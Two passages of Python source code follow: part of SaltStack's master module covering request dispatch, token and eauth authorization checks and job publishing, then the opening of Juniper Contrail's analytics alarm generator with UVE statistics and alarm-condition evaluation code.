func.startswith('__'): # TODO: return some error? Seems odd to return {} return {}, {'fun': 'send'} # Run the func if hasattr(self, func): try: start = time.time() ret = getattr(self, func)(load) log.trace( 'Master function call {0} took {1} seconds'.format( func, time.time() - start ) ) except Exception: ret = '' log.error( 'Error in function {0}:\n'.format(func), exc_info=True ) else: log.error( 'Received function {0} which is unavailable on the master, ' 'returning False'.format( func ) ) return False, {'fun': 'send'} # Don't encrypt the return value for the _return func # (we don't care about the return value, so why encrypt it?) if func == '_return': return ret, {'fun': 'send'} if func == '_pillar' and 'id' in load: if load.get('ver') != '2' and self.opts['pillar_version'] == 1: # Authorized to return old pillar proto return ret, {'fun': 'send'} return ret, {'fun': 'send_private', 'key': 'pillar', 'tgt': load['id']} # Encrypt the return return ret, {'fun': 'send'} class ClearFuncs(object): ''' Set up functions that are safe to execute when commands sent to the master without encryption and authentication ''' # The ClearFuncs object encapsulates the functions that can be executed in # the clear: # publish (The publish from the LocalClient) # _auth def __init__(self, opts, key): self.opts = opts self.key = key # Create the event manager self.event = salt.utils.event.get_master_event(self.opts, self.opts['sock_dir'], listen=False) # Make a client self.local = salt.client.get_local_client(self.opts['conf_file']) # Make an minion checker object self.ckminions = salt.utils.minions.CkMinions(opts) # Make an Auth object self.loadauth = salt.auth.LoadAuth(opts) # Stand up the master Minion to access returner data self.mminion = salt.minion.MasterMinion( self.opts, states=False, rend=False) # Make a wheel object self.wheel_ = salt.wheel.Wheel(opts) # Make a masterapi object self.masterapi = salt.daemons.masterapi.LocalFuncs(opts, key) def process_token(self, tok, fun, auth_type): ''' Process a token and determine if a command is authorized ''' try: token = self.loadauth.get_tok(tok) except Exception as exc: msg = 'Exception occurred when generating auth token: {0}'.format( exc) log.error(msg) return dict(error=dict(name='TokenAuthenticationError', message=msg)) if not token: msg = 'Authentication failure of type "token" occurred.' log.warning(msg) return dict(error=dict(name='TokenAuthenticationError', message=msg)) if token['eauth'] not in self.opts['external_auth']: msg = 'Authentication failure of type "token" occurred.' log.warning(msg) return dict(error=dict(name='TokenAuthenticationError', message=msg)) check_fun = getattr(self.ckminions, '{auth}_check'.format(auth=auth_type)) if token['name'] in self.opts['external_auth'][token['eauth']]: good = check_fun(self.opts['external_auth'][token['eauth']][token['name']], fun) elif any(key.endswith('%') for key in self.opts['external_auth'][token['eauth']]): for group in self.opts['external_auth'][token['eauth']]: if group.endswith('%'): for group in self.opts['external_auth'][token['eauth']]: good = check_fun(self.opts['external_auth'][token['eauth']][group], fun) if good: break else: good = check_fun(self.opts['external_auth'][token['eauth']]['*'], fun) if not good: msg = ('Authentication failure of type "token" occurred for ' 'user {0}.').format(token['name']) log.warning(msg) return dict(error=dict(name='TokenAuthenticationError', message=msg)) return None def process_eauth(self, clear_load, auth_type): ''' Process a clear load to determine eauth perms Any return other than None is an eauth failure ''' if 'eauth' not in clear_load: msg = ('Authentication failure of type "eauth" occurred for ' 'user {0}.').format(clear_load.get('username', 'UNKNOWN')) log.warning(msg) return dict(error=dict(name='EauthAuthenticationError', message=msg)) if clear_load['eauth'] not in self.opts['external_auth']: # The eauth system is not enabled, fail msg = ('Authentication failure of type "eauth" occurred for ' 'user {0}.').format(clear_load.get('username', 'UNKNOWN')) log.warning(msg) return dict(error=dict(name='EauthAuthenticationError', message=msg)) name = self.loadauth.load_name(clear_load) if not ((name in self.opts['external_auth'][clear_load['eauth']]) | ('*' in self.opts['external_auth'][clear_load['eauth']])): msg = ('Authentication failure of type "eauth" occurred for ' 'user {0}.').format(clear_load.get('username', 'UNKNOWN')) log.warning(msg) return dict(error=dict(name='EauthAuthenticationError', message=msg)) if not self.loadauth.time_auth(clear_load): msg = ('Authentication failure of type "eauth" occurred for ' 'user {0}.').format(clear_load.get('username', 'UNKNOWN')) log.warning(msg) return dict(error=dict(name='EauthAuthenticationError', message=msg)) check_fun = getattr(self.ckminions, '{auth}_check'.format(auth=auth_type)) if name in self.opts['external_auth'][clear_load['eauth']]: good = check_fun(self.opts['external_auth'][clear_load['eauth']][name], clear_load['fun']) elif any(key.endswith('%') for key in self.opts['external_auth'][clear_load['eauth']]): for group in self.opts['external_auth'][clear_load['eauth']]: if group.endswith('%'): good = check_fun(self.opts['external_auth'][clear_load['eauth']][group], clear_load['fun']) if good: break else: good = check_fun(self.opts['external_auth'][clear_load['eauth']]['*'], clear_load['fun']) if not good: msg = ('Authentication failure of type "eauth" occurred for ' 'user {0}.').format(clear_load.get('username', 'UNKNOWN')) log.warning(msg) return dict(error=dict(name='EauthAuthenticationError', message=msg)) return None def runner(self, clear_load): ''' Send a master control function back to the runner system ''' # All runner ops pass through eauth if 'token' in clear_load: auth_error = self.process_token(clear_load['token'], clear_load['fun'], 'runner') if auth_error: return auth_error else: token = self.loadauth.get_tok(clear_load.pop('token')) try: fun = clear_load.pop('fun') runner_client = salt.runner.RunnerClient(self.opts) return runner_client.async( fun, clear_load.get('kwarg', {}), token['name']) except Exception as exc: log.error('Exception occurred while ' 'introspecting {0}: {1}'.format(fun, exc)) return dict(error=dict(name=exc.__class__.__name__, args=exc.args, message=str(exc))) try: eauth_error = self.process_eauth(clear_load, 'runner') if eauth_error: return eauth_error # No error occurred, consume the password from the clear_load if # passed clear_load.pop('password', None) try: fun = clear_load.pop('fun') runner_client = salt.runner.RunnerClient(self.opts) return runner_client.async(fun, clear_load.get('kwarg', {}), clear_load.pop('username', 'UNKNOWN')) except Exception as exc: log.error('Exception occurred while ' 'introspecting {0}: {1}'.format(fun, exc)) return dict(error=dict(name=exc.__class__.__name__, args=exc.args, message=str(exc))) except Exception as exc: log.error( 'Exception occurred in the runner system: {0}'.format(exc) ) return dict(error=dict(name=exc.__class__.__name__, args=exc.args, message=str(exc))) def wheel(self, clear_load): ''' Send a master control function back to the wheel system ''' # All wheel ops pass through eauth if 'token' in clear_load: auth_error = self.process_token(clear_load['token'], clear_load['fun'], 'wheel') if auth_error: return auth_error else: token = self.loadauth.get_tok(clear_load.pop('token')) jid = salt.utils.jid.gen_jid() fun = clear_load.pop('fun') tag = tagify(jid, prefix='wheel') data = {'fun': "wheel.{0}".format(fun), 'jid': jid, 'tag': tag, 'user': token['name']} try: self.event.fire_event(data, tagify([jid, 'new'], 'wheel')) ret = self.wheel_.call_func(fun, **clear_load) data['return'] = ret data['success'] = True self.event.fire_event(data, tagify([jid, 'ret'], 'wheel')) return {'tag': tag, 'data': data} except Exception as exc: log.error(exc) log.error('Exception occurred while ' 'introspecting {0}: {1}'.format(fun, exc)) data['return'] = 'Exception occurred in wheel {0}: {1}: {2}'.format( fun, exc.__class__.__name__, exc, ) data['success'] = False self.event.fire_event(data, tagify([jid, 'ret'], 'wheel')) return {'tag': tag, 'data': data} try: eauth_error = self.process_eauth(clear_load, 'wheel') if eauth_error: return eauth_error # No error occurred, consume the password from the clear_load if # passed clear_load.pop('password', None) jid = salt.utils.jid.gen_jid() fun = clear_load.pop('fun') tag = tagify(jid, prefix='wheel') data = {'fun': "wheel.{0}".format(fun), 'jid': jid, 'tag': tag, 'user': clear_load.pop('username', 'UNKNOWN')} try: self.event.fire_event(data, tagify([jid, 'new'], 'wheel')) ret = self.wheel_.call_func(fun, **clear_load) data['return'] = ret data['success'] = True self.event.fire_event(data, tagify([jid, 'ret'], 'wheel')) return {'tag': tag, 'data': data} except Exception as exc: log.error('Exception occurred while ' 'introspecting {0}: {1}'.format(fun, exc)) data['return'] = 'Exception occurred in wheel {0}: {1}: {2}'.format( fun, exc.__class__.__name__, exc, ) self.event.fire_event(data, tagify([jid, 'ret'], 'wheel')) return {'tag': tag, 'data': data} except Exception as exc: log.error( 'Exception occurred in the wheel system: {0}'.format(exc) ) return dict(error=dict(name=exc.__class__.__name__, args=exc.args, message=str(exc))) def mk_token(self, clear_load): ''' Create and return an authentication token, the clear load needs to contain the eauth key and the needed authentication creds. ''' if 'eauth' not in clear_load: log.warning('Authentication failure of type "eauth" occurred.') return '' if clear_load['eauth'] not in self.opts['external_auth']: # The eauth system is not enabled, fail log.warning('Authentication failure of type "eauth" occurred.') return '' try: name = self.loadauth.load_name(clear_load) groups = self.loadauth.get_groups(clear_load) eauth_config = self.opts['external_auth'][clear_load['eauth']] if '*' not in eauth_config and name not in eauth_config: found = False for group in groups: if "{0}%".format(group) in eauth_config: found = True break if not found: log.warning('Authentication failure of type "eauth" occurred.') return '' if not self.loadauth.time_auth(clear_load): log.warning('Authentication failure of type "eauth" occurred.') return '' clear_load['groups'] = groups return self.loadauth.mk_token(clear_load) except Exception as exc: type_, value_, traceback_ = sys.exc_info() log.error( 'Exception occurred while authenticating: {0}'.format(exc) ) log.error(traceback.format_exception(type_, value_, traceback_)) return '' def get_token(self, clear_load): ''' Return the name associated with a token or False if the token is invalid ''' if 'token' not in clear_load: return False return self.loadauth.get_tok(clear_load['token']) def publish(self, clear_load): ''' This method sends out publications to the minions, it can only be used by the LocalClient. ''' extra = clear_load.get('kwargs', {}) client_acl = salt.acl.ClientACL(self.opts['client_acl_blacklist']) if client_acl.user_is_blacklisted(clear_load['user']) or \ client_acl.cmd_is_blacklisted(clear_load['fun']): log.error( '{user} does not have permissions to run {function}. Please ' 'contact your local administrator if you believe this is in ' 'error.\n'.format( user=clear_load['user'], function=clear_load['fun'] ) ) return '' # Check for external auth calls if extra.get('token', False): # A token was passed, check it try: token = self.loadauth.get_tok(extra['token']) except Exception as exc: log.error( 'Exception occurred when generating auth token: {0}'.format( exc ) ) return '' # Bail if the token is empty or if the eauth type specified is not allowed if not token or token['eauth'] not in self.opts['external_auth']: log.warning('Authentication failure of type "token" occurred.') return '' # Fetch eauth config and collect users and groups configured for access eauth_config = self.opts['external_auth'][token['eauth']] eauth_users = [] eauth_groups = [] for entry in eauth_config: if entry.endswith('%'): eauth_groups.append(entry.rstrip('%')) else: eauth_users.append(entry) # If there are groups in the token, check if any of them are listed in the eauth config group_auth_match = False try: if token.get('groups'): for group in token['groups']: if group in eauth_groups: group_auth_match = True break except KeyError: pass if '*' not in eauth_users and token['name'] not in eauth_users and not group_auth_match: log.warning('Authentication failure of type "token" occurred.') return '' # Compile list of authorized actions for the user auth_list = [] # Add permissions for '*' or user-specific to the auth list for user_key in ('*', token['name']): auth_list.extend(eauth_config.get(user_key, [])) # Add any add'l permissions allowed by group membership if group_auth_match: auth_list = self.ckminions.fill_auth_list_from_groups(eauth_config, token['groups'], auth_list) log.trace("Compiled auth_list: {0}".format(auth_list)) good = self.ckminions.auth_check( auth_list, clear_load['fun'], clear_load['tgt'], clear_load.get('tgt_type', 'glob')) if not good: # Accept find_job so the CLI will function cleanly if clear_load['fun'] != 'saltutil.find_job': log.warning( 'Authentication failure of type "token" occurred.' ) return '' clear_load['user'] = token['name'] log.debug('Minion tokenized user = "{0}"'.format(clear_load['user'])) elif 'eauth' in extra: if extra['eauth'] not in self.opts['external_auth']: # The eauth system is not enabled, fail log.warning( 'Authentication failure of type "eauth" occurred.' ) return '' try: name = self.loadauth.load_name(extra) # The username we are attempting to auth with groups = self.loadauth.get_groups(extra) # The groups this user belongs to if groups is None: groups = [] group_perm_keys = [item for item in self.opts['external_auth'][extra['eauth']] if item.endswith('%')] # The configured auth groups # First we need to know if the user is allowed to proceed via any of their group memberships. group_auth_match = False for group_config in group_perm_keys: group_config = group_config.rstrip('%') for group in groups: if group == group_config: group_auth_match = True # If a group_auth_match is set it means only that we have a # user which matches at least one or more of the groups defined # in the configuration file. external_auth_in_db = False for d in self.opts['external_auth'][extra['eauth']]: if d.startswith('^'): external_auth_in_db = True # If neither a catchall, a named membership or a group # membership is found, there is no need to continue. Simply # deny the user access. if not ((name in self.opts['external_auth'][extra['eauth']]) | ('*' in self.opts['external_auth'][extra['eauth']]) | group_auth_match | external_auth_in_db): # A group def is defined and the user is a member #[group for groups in ['external_auth'][extra['eauth']]]): # Auth successful, but no matching user found in config log.warning( 'Authentication failure of type "eauth" occurred.' ) return '' # Perform the actual authentication. If we fail here, do not # continue. if not self.loadauth.time_auth(extra): log.warning( 'Authentication failure of type "eauth" occurred.' ) return '' except Exception as exc: type_, value_, traceback_ = sys.exc_info() log.error( 'Exception occurred while authenticating: {0}'.format(exc) ) log.error(traceback.format_exception( type_, value_, traceback_)) return '' # auth_list = self.opts['external_auth'][extra['eauth']][name] if name in self.opts['external_auth'][extra['eauth']] else self.opts['external_auth'][extra['eauth']]['*'] # We now have an authenticated session and it is time to determine # what the user has access to. auth_list = [] if name in self.opts['external_auth'][extra['eauth']]: auth_list = self.opts['external_auth'][extra['eauth']][name] if group_auth_match: auth_list = self.ckminions.fill_auth_list_from_groups(self.opts['external_auth'][extra['eauth']], groups, auth_list) good = self.ckminions.auth_check( auth_list, clear_load['fun'], clear_load['tgt'], clear_load.get('tgt_type', 'glob') ) if not good: # Accept find_job so the CLI will function cleanly if clear_load['fun'] != 'saltutil.find_job': log.warning( 'Authentication failure of type "eauth" occurred.' ) return '' clear_load['user'] = name # Verify that the caller has root on master elif 'user' in clear_load: auth_user = salt.auth.AuthUser(clear_load['user']) if auth_user.is_sudo(): # If someone sudos check to make sure there is no ACL's around their username if clear_load.get('key', 'invalid') == self.key.get('root'): clear_load.pop('key') elif clear_load.pop('key') != self.key[self.opts.get('user', 'root')]: log.warning( 'Authentication failure of type "user" occurred.' ) return '' if self.opts['sudo_acl'] and self.opts['client_acl']: good = self.ckminions.auth_check( self.opts['client_acl'].get(clear_load['user'].split('_', 1)[-1]), clear_load['fun'], clear_load['tgt'], clear_load.get('tgt_type', 'glob')) if not good: # Accept find_job so the CLI will function cleanly if clear_load['fun'] != 'saltutil.find_job': log.warning( 'Authentication failure of type "user" ' 'occurred.' ) return '' elif clear_load['user'] == self.opts.get('user', 'root') or clear_load['user'] == 'root': if clear_load.pop('key') != self.key[self.opts.get('user', 'root')]: log.warning( 'Authentication failure of type "user" occurred.' ) return '' elif auth_user.is_running_user(): if clear_load.pop('key') != self.key.get(clear_load['user']): log.warning( 'Authentication failure of type "user" occurred.' ) return '' elif clear_load.get('key', 'invalid') == self.key.get('root'): clear_load.pop('key') else: if clear_load['user'] in self.key: # User is authorised, check key and check perms if clear_load.pop('key') != self.key[clear_load['user']]: log.warning( 'Authentication failure of type "user" occurred.' ) return '' if clear_load['user'] not in self.opts['client_acl']: log.warning( 'Authentication failure of type "user" occurred.' ) return '' good = self.ckminions.auth_check( self.opts['client_acl'][clear_load['user']], clear_load['fun'], clear_load['tgt'], clear_load.get('tgt_type', 'glob')) if not good: # Accept find_job so the CLI will function cleanly if clear_load['fun'] != 'saltutil.find_job': log.warning( 'Authentication failure of type "user" ' 'occurred.' ) return '' else: log.warning( 'Authentication failure of type "user" occurred.' ) return '' else: if clear_load.pop('key') != self.key[salt.utils.get_user()]: log.warning( 'Authentication failure of type "other" occurred.' ) return '' # FIXME Needs additional refactoring # Retrieve the minions list delimiter = clear_load.get('kwargs', {}).get('delimiter', DEFAULT_TARGET_DELIM) minions = self.ckminions.check_minions( clear_load['tgt'], clear_load.get('tgt_type', 'glob'), delimiter ) # If we order masters (via a syndic), don't short circuit if no minions # are found if not self.opts.get('order_masters'): # Check for no minions if not minions: return { 'enc': 'clear', 'load': { 'jid': None, 'minions': minions } } jid = self._prep_jid(clear_load, extra) if jid is None: return {} payload = self._prep_pub(minions, jid, clear_load, extra) # Send it! self._send_pub(payload) return { 'enc': 'clear', 'load': { 'jid': clear_load['jid'], 'minions': minions } } def _prep_jid(self, clear_load, extra): ''' Return a jid for this publication ''' # the jid in clear_load can be None, '', or something else. this is an # attempt to clean up the value before passing to plugins passed_jid = clear_load['jid'] if clear_load.get('jid') else None nocache = extra.get('nocache', False) # Retrieve the jid fstr = '{0}.prep_jid'.format(self.opts['master_job_cache']) try: # Retrieve the jid jid = self.mminion.returners[fstr](nocache=nocache, passed_jid=passed_jid) except (KeyError, TypeError): # The returner is not present msg = ( 'Failed to allocate a jid. The requested returner \'{0}\' ' 'could not be loaded.'.format(fstr.split('.')[0]) ) log.error(msg) return {'error': msg} return jid def _send_pub(self, load): ''' Take a load and send it across the network to connected minions ''' for transport, opts in iter_transport_opts(self.opts): chan = salt.transport.server.PubServerChannel.factory(opts) chan.publish(load) def _prep_pub(self, minions, jid, clear_load, extra): ''' Take a given load and perform the necessary steps to prepare a publication. TODO: This is really only bound by temporal cohesion and thus should be refactored even further. ''' clear_load['jid'] = jid delimiter = clear_load.get('kwargs', {}).get('delimiter', DEFAULT_TARGET_DELIM) # TODO Error reporting over the master event bus self.event.fire_event({'minions': minions}, clear_load['jid']) new_job_load = { 'jid': clear_load['jid'], 'tgt_type': clear_load['tgt_type'], 'tgt': clear_load['tgt'], 'user': clear_load['user'], 'fun': clear_load['fun'], 'arg': clear_load['arg'], 'minions': minions, } # Announce the job on the event bus self.event.fire_event(new_job_load, tagify([clear_load['jid'], 'new'], 'job')) if self.opts['ext_job_cache']: try: fstr = '{0}.save_load'.format(self.opts['ext_job_cache']) self.mminion.returners[fstr](clear_load['jid'], clear_load) except KeyError: log.critical( 'The specified returner used for the external job cache ' '"{0}" does not have a save_load function!'.format( self.opts['ext_job_cache'] ) ) except Exception: log.critical( 'The specified returner threw a stack trace:\n', exc_info=True ) # always write out to the master job caches try: fstr = '{0}.save_load'.format(self.opts['master_job_cache']) self.mminion.returners[fstr](clear_load['jid'], clear_load) except KeyError: log.critical( 'The specified returner used for the master job cache ' '"{0}" does not have a save_load function!'.format( self.opts['master_job_cache'] ) ) except Exception: log.critical( 'The specified returner threw a stack trace:\n', exc_info=True ) # Set up the payload payload = {'enc': 'aes'} # Altering the contents of the publish load is serious!! Changes here # break compatibility with minion/master versions and even tiny # additions can have serious implications on the performance of the # publish commands. # # In short, check with Thomas Hatch before you even think about # touching this stuff, we can probably do what you want to do another # way that won't have a negative impact. load = { 'fun': clear_load['fun'], 'arg': clear_load['arg'], 'tgt': clear_load['tgt'], 'jid': clear_load['jid'], 'ret': clear_load['ret'], } # if you specified a master id, lets put that in the load if 'master_id' in self.opts: load['master_id'] = self.opts['master_id'] # if someone passed us one, use that if 'master_id' in extra: load['master_id'] = extra['master_id'] # Only add the delimiter to the pub data if it is non-default if delimiter != DEFAULT_TARGET_DELIM: load['delimiter'] = delimiter if 'id' in extra: load['id'] = extra['id'] if 'tgt_type' in clear_load: load['tgt_type'] = clear_load['tgt_type'] if 'to' in clear_load: load['to'] = clear_load['to'] if 'kwargs' in clear_load: if 'ret_config' in clear_load['kwargs']: load['ret_config'] = clear_load['kwargs'].get('ret_config') if 'metadata' in clear_load['kwargs']: load['metadata'] = clear_load['kwargs'].get('metadata') if 'user' in clear_load: log.info( 'User {user} Published command {fun} with jid {jid}'.format( **clear_load ) ) load['user'] = clear_load['user'] else: log.info( 'Published command {fun} with jid {jid}'.format( **clear_load ) ) log.debug('Published command details {0}'.format(load)) return load class FloMWorker(MWorker): ''' Change the run and bind to be ioflo friendly ''' def __init__(self, opts, key, ): MWorker.__init__(self, opts, key) def setup(self): ''' Prepare the needed objects and socket for iteration within ioflo ''' salt.utils.appendproctitle(self.__class__.__name__) self.clear_funcs = salt.master.ClearFuncs( self.opts, self.key, ) self.aes_funcs = salt.master.AESFuncs(self.opts) self.context = zmq.Context(1) self.socket = self.context.socket(zmq.REP) if self.opts.get('ipc_mode', '') == 'tcp': self.w_uri = 'tcp://127.0.0.1:{0}'.format( self.opts.get('tcp_master_workers', 4515) ) else: self.w_uri = 'ipc://{0}'.format( os.path.join(self.opts['sock_dir'], 'workers.ipc') ) log.info('ZMQ Worker binding to socket {0}'.format(self.w_uri)) self.poller = zmq.Poller() self.poller.register(self.socket, zmq.POLLIN) self.socket.connect(self.w_uri) def handle_request(self): ''' Handle a single request ''' try: polled = self.poller.poll(1) if polled: package = self.socket.recv() self._update_aes() payload = self.serial.loads(package) ret = self.serial.dumps(self._handle_payload(payload)) self.socket.send(ret) except KeyboardInterrupt: raise except Exception as exc: # Properly handle EINTR from SIGUSR1 if isinstance(exc, zmq.ZMQError) and exc.errno == errno.EINTR: return
codeparrot/github-code-clean
# # Copyright (c) 2013 Juniper Networks, Inc. All rights reserved. # # # Opserver # # Operational State Server for VNC # from gevent import monkey monkey.patch_all() import sys import json import socket import time import copy import traceback import signal import logging logging.getLogger('kafka').addHandler(logging.StreamHandler()) logging.getLogger('kafka').setLevel(logging.WARNING) try: from collections import OrderedDict except ImportError: # python 2.6 or earlier, use backport from ordereddict import OrderedDict from pysandesh.sandesh_base import * from pysandesh.connection_info import ConnectionState from pysandesh.sandesh_logger import SandeshLogger from pysandesh.gen_py.sandesh_alarm.ttypes import SandeshAlarmAckResponseCode import sandesh.viz.constants as viz_constants from sandesh.alarmgen_ctrl.sandesh_alarm_base.ttypes import AlarmTrace, \ UVEAlarms, UVEAlarmInfo, UVEAlarmConfig, AlarmOperand2, AlarmCondition, \ AlarmMatch, AlarmConditionMatch, AlarmAndList, AlarmRules from sandesh.analytics.ttypes import * from sandesh.nodeinfo.ttypes import NodeStatusUVE, NodeStatus from sandesh.nodeinfo.cpuinfo.ttypes import * from sandesh.nodeinfo.process_info.ttypes import * from sandesh_common.vns.ttypes import Module, NodeType from sandesh_common.vns.constants import ModuleNames, CategoryNames,\ ModuleCategoryMap, Module2NodeType, NodeTypeNames, ModuleIds,\ INSTANCE_ID_DEFAULT, COLLECTOR_DISCOVERY_SERVICE_NAME,\ ALARM_GENERATOR_SERVICE_NAME from alarmgen_cfg import CfgParser from uveserver import UVEServer from partition_handler import PartitionHandler, UveStreamProc from alarmgen_config_handler import AlarmGenConfigHandler from sandesh.alarmgen_ctrl.ttypes import PartitionOwnershipReq, \ PartitionOwnershipResp, PartitionStatusReq, UVECollInfo, UVEGenInfo, \ PartitionStatusResp, UVETableAlarmReq, UVETableAlarmResp, \ AlarmgenTrace, UVEKeyInfo, UVETypeCount, UVETypeInfo, AlarmgenStatusTrace, \ AlarmgenStatus, AlarmgenStats, AlarmgenPartitionTrace, \ AlarmgenPartition, AlarmgenPartionInfo, AlarmgenUpdate, \ UVETableInfoReq, UVETableInfoResp, UVEObjectInfo, UVEStructInfo, \ UVETablePerfReq, UVETablePerfResp, UVETableInfo, UVETableCount, \ UVEAlarmStateMachineInfo, UVEAlarmState, UVEAlarmOperState,\ AlarmStateChangeTrace, UVEQTrace from sandesh.discovery.ttypes import CollectorTrace from cpuinfo import CpuInfoData from opserver_util import ServicePoller from stevedore import hook, extension from pysandesh.util import UTCTimestampUsec from libpartition.libpartition import PartitionClient import discoveryclient.client as client from kafka import KafkaClient, SimpleProducer import redis from collections import namedtuple OutputRow = namedtuple("OutputRow",["key","typ","val"]) class AGTabStats(object): """ This class is used to store per-UVE-table information about the time taken and number of instances when a UVE was retrieved, published or evaluated for alarms """ def __init__(self): self.reset() def record_get(self, get_time): self.get_time += get_time self.get_n += 1 def record_pub(self, get_time): self.pub_time += get_time self.pub_n += 1 def record_call(self, get_time): self.call_time += get_time self.call_n += 1 def get_result(self): if self.get_n: return self.get_time / self.get_n else: return 0 def pub_result(self): if self.pub_n: return self.pub_time / self.pub_n else: return 0 def call_result(self): if self.call_n: return self.call_time / self.call_n else: return 0 def reset(self): self.call_time = 0 self.call_n = 0 self.get_time = 0 self.get_n = 0 self.pub_time = 0 self.pub_n = 0 class AGKeyInfo(object): """ This class is used to maintain UVE contents """ def __init__(self, part): self._part = part # key of struct name, value of content dict self.current_dict = {} self.update({}) def update_single(self, typ, val): # A single UVE struct has changed # If the UVE has gone away, the val is passed in as None self.set_removed = set() self.set_added = set() self.set_changed = set() self.set_unchanged = self.current_dict.keys() if typ in self.current_dict: # the "added" set must stay empty in this case if val is None: self.set_unchanged.remove(typ) self.set_removed.add(typ) del self.current_dict[typ] else: # both "added" and "removed" will be empty if val != self.current_dict[typ]: self.set_unchanged.remove(typ) self.set_changed.add(typ) self.current_dict[typ] = val else: if val != None: self.set_added.add(typ) self.current_dict[typ] = val def update(self, new_dict): # A UVE has changed, and we have the entire new # content of the UVE available in new_dict set_current = set(new_dict.keys()) set_past = set(self.current_dict.keys()) set_intersect = set_current.intersection(set_past) self.set_added = set_current - set_intersect self.set_removed = set_past - set_intersect self.set_changed = set() self.set_unchanged = set() for o in set_intersect: if new_dict[o] != self.current_dict[o]: self.set_changed.add(o) else: self.set_unchanged.add(o) self.current_dict = new_dict def values(self): return self.current_dict def added(self): return self.set_added def removed(self): return self.set_removed def changed(self): return self.set_changed def unchanged(self): return self.set_unchanged class AlarmProcessor(object): def __init__(self, logger): self.uve_alarms = {} self._logger = logger self.ActiveTimer = {} self.IdleTimer = {} self.FreqExceededCheck = {} self.FreqCheck_Times = {} self.FreqCheck_Seconds = {} def process_alarms(self, alarm_fqname, alarm, uv, local_uve): if not alarm.is_enabled(): return alarm_name = alarm_fqname.rsplit(':', 1)[1] sev = alarm.severity() if not uv in self.ActiveTimer: self.ActiveTimer[uv] = {} self.ActiveTimer[uv][alarm_name] = alarm.ActiveTimer() if not uv in self.IdleTimer: self.IdleTimer[uv] = {} self.IdleTimer[uv][alarm_name] = alarm.IdleTimer() if not uv in self.FreqExceededCheck: self.FreqExceededCheck[uv] = {} self.FreqExceededCheck[uv][alarm_name] = alarm.FreqExceededCheck() if not uv in self.FreqCheck_Times: self.FreqCheck_Times[uv] = {} self.FreqCheck_Times[uv][alarm_name] = alarm.FreqCheck_Times() if not uv in self.FreqCheck_Seconds: self.FreqCheck_Seconds[uv] = {} self.FreqCheck_Seconds[uv][alarm_name] = alarm.FreqCheck_Seconds() try: # __call__ method overrides the generic alarm processing code. if hasattr(alarm, '__call__'): or_list = alarm.__call__(uv, local_uve) else: or_list = self._evaluate_uve_for_alarms( alarm.config(), uv, local_uve) self._logger.debug("Alarm[%s] %s: %s" % (uv, alarm_name, str(or_list))) if or_list: self.uve_alarms[alarm_name] = UVEAlarmInfo(type=alarm_name, severity=sev, timestamp=0, token="", alarm_rules=AlarmRules(or_list), description=alarm.description(), ack=False) except Exception as ex: template = "Exception {0} in Alarm Processing. Arguments:\n{1!r}" messag = template.format(type(ex).__name__, ex.args) self._logger.error("%s : traceback %s" % \ (messag, traceback.format_exc())) self.uve_alarms[alarm_name] = UVEAlarmInfo(type=alarm_name, severity=sev, timestamp=0, token="", alarm_rules=AlarmRules(None), description=alarm.description(), ack=False) # end process_alarms def _get_uve_attribute(self, tuve, puve, attr_list): if tuve is None or not attr_list: return {'value': tuve, 'parent_attr': puve, 'status': False if len(attr_list) else True} if isinstance(tuve, dict): return self._get_uve_attribute(tuve.get(attr_list[0]), tuve, attr_list[1:]) elif isinstance(tuve, list): return [self._get_uve_attribute(elem, tuve, attr_list) \ for elem in tuve] elif isinstance(tuve, str): try: json_elem = json.loads(tuve) except ValueError: return {'value': None, 'parent_attr': tuve, 'status': False} else: return self._get_uve_attribute(json_elem, tuve, attr_list) # end _get_uve_attribute def _get_operand_value(self, uve, operand): attr_list = operand.split('.') return self._get_uve_attribute(uve, uve, attr_list) # end _get_operand_value def _get_json_value(self, val): try: tval = json.loads(val) except (ValueError, TypeError): return json.dumps(val) else: return val # end _get_json_value def _get_json_variables(self, uve, exp, operand1_val, operand2_val, is_operand2_json_val): json_vars = {} for var in exp.variables: # If var and operand1/operand2 are at the same hirerarchy in # the uve struture, then get the value of var from parent_attr of # the corresponding operand_val # TODO: Handle the case len(var.rsplit) != len(operand.rsplit) if var.rsplit('.', 1)[0] == exp.operand1.rsplit('.', 1)[0]: var_val = \ operand1_val['parent_attr'].get(var.rsplit('.', 1)[1]) elif not is_operand2_json_val and \ var.rsplit('.', 1)[0] == exp.operand2.uve_attribute.rsplit( '.', 1)[0]: var_val = \ operand2_val['parent_attr'].get(var.rsplit('.', 1)[1]) else: var_val = self._get_operand_value(uve, var)['value'] json_vars[var] = self._get_json_value(var_val) return json_vars # end _get_json_variables def _compare_operand_vals(self, val1, val2, operation): try: val1 = json.loads(val1) except (TypeError, ValueError): pass try: val2 = json.loads(val2) except (TypeError, ValueError): pass if operation == '==': return val1 == val2 elif operation == '!=': return val1 != val2 elif operation == '<=': return val1 <= val2 elif operation == '>=': return val1 >= val2 elif operation == 'in': if not isinstance(val2, list): return False return val1 in val2 elif operation == 'not in': if not isinstance(val2, list): return True return val1 not in val2 elif operation == 'size==': if not isinstance(val1, list): return False return len(val1) == val2 elif operation == 'size!=': if not isinstance(val1, list): return True return len(val1) != val2 # end _compare_operand_vals def _get_alarm_match(self, uve, exp, operand1_val, operand2_val, is_operand2_json_val): json_vars = self._get_json_variables(uve, exp, operand1_val, operand2_val, is_operand2_json_val) json_operand1_val = self._get_json_value(operand1_val['value']) if not is_operand2_json_val: json_operand2_val = self._get_json_value(operand2_val['value']) else: json_operand2_val = None return AlarmMatch(json_operand1_value=json_operand1_val, json_operand2_value=json_operand2_val, json_variables=json_vars) # end _get_alarm_match def _get_alarm_condition_match(self, uve, exp, operand1_val, operand2_val, is_operand2_json_val, match_list=None): if not match_list: match_list = [self._get_alarm_match(uve, exp, operand1_val, operand2_val, is_operand2_json_val)] return AlarmConditionMatch( condition=AlarmCondition(operation=exp.operation, operand1=exp.operand1, operand2=AlarmOperand2( uve_attribute=exp.operand2.uve_attribute, json_value=exp.operand2.json_value), variables=exp.variables), match=match_list) # end _get_alarm_condition_match def _get_uve_parent_fqname(self, table, uve_name, uve): try: # virtual-machine UVE key doesn't have project name in the prefix. # Hence extract the project name from the interface_list. if table == viz_constants.VM_TABLE: return uve['UveVirtualMachineAgent']['interface_list'][0].\ rsplit(':', 1)[0] else: return uve_name.rsplit(':', 1)[0] except (KeyError, IndexError): return None # end _get_uve_parent_fqname def _evaluate_uve_for_alarms(self, alarm_cfg, uve_key, uve): table, uve_name = uve_key.split(':', 1) # For alarms configured under project, the parent fq_name of the uve # should match with that of the alarm config if alarm_cfg.parent_type == 'project': uve_parent_fqname = 